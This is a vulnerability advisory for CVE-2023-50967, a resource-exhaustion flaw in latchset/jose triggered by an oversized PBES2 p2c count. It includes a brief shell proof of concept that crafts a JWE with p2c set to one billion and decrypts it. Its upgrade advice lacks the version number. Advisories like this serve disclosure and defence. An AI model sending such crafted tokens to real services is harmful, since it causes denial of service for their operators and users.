Uncontrolled Resource Consumption ('Resource Exhaustion') Affecting latchset/jose package, versions [0,]


Severity

Recommended
0.0
high
0
10

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Threat Intelligence

EPSS
1.38% (69th percentile)

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  • Snyk IDSNYK-UNMANAGED-LATCHSETJOSE-6475171
  • published21 Mar 2024
  • disclosed20 Mar 2024
  • creditUnknown

Introduced: 20 Mar 2024

CVE-2023-50967  (opens in a new tab)
CWE-400  (opens in a new tab)

How to fix?

Upgrade latchset/jose to version or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via a large p2c (aka PBES2 Count) value.

PoC

echo '{"alg":"PBES2-HS256+A128KW","k":"VHBLJ4-PmnqELoKbQoXuRA","key_ops":["wrapKey","unwrapKey"],"kty":"oct"}' > jwk

echo '{"ciphertext":"aaPb-JYGACs-loPwJkZewg","encrypted_key":"P1h8q8wLVxqYsZUuw6iEQTzgXVZHCsu8Eik-oqbE4AJGIDto3gb3SA","header":{"alg":"PBES2-HS256+A128KW","p2c":1000000000,"p2s":"qUQQWWkyyIqculSiC93mlg"},"iv":"Clg3JX9oNl_ck3sLSGrlgg","protected":"eyJlbmMiOiJBMTI4Q0JDLUhTMjU2In0","tag":"i7vga9tJkwRswFd7HlyD_A"}' > jwe

jose jwe dec -i ./jwe -k ./jwk

CVSS Base Scores

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